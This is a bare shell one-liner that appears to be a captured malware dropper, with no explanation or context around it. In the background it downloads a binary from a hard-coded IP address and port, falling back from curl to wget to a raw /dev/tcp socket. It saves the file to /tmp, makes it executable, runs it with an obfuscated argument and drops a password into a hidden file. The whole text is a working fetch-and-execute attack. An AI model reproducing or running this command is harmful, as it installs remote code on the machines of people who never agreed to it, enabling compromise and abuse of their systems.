nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/nww9R4Zy3u; if [ ! -f /tmp/nww9R4Zy3u ]; then wget http://129.144.180.26:60107/linux -O /tmp/nww9R4Zy3u; fi; if [ ! -f /tmp/nww9R4Zy3u ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/nww9R4Zy3u && chmod +x /tmp/nww9R4Zy3u && /tmp/nww9R4Zy3u 1e1j7+MseOaIkeZ8LOnsYPeuqPxm6vsze+aRjut9[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/nww9R4Zy3u && /tmp/nww9R4Zy3u 1e1j7+MseOaIkeZ8LOnsYPeuqPxm6vsze+aRjut9[...]" &#UPX!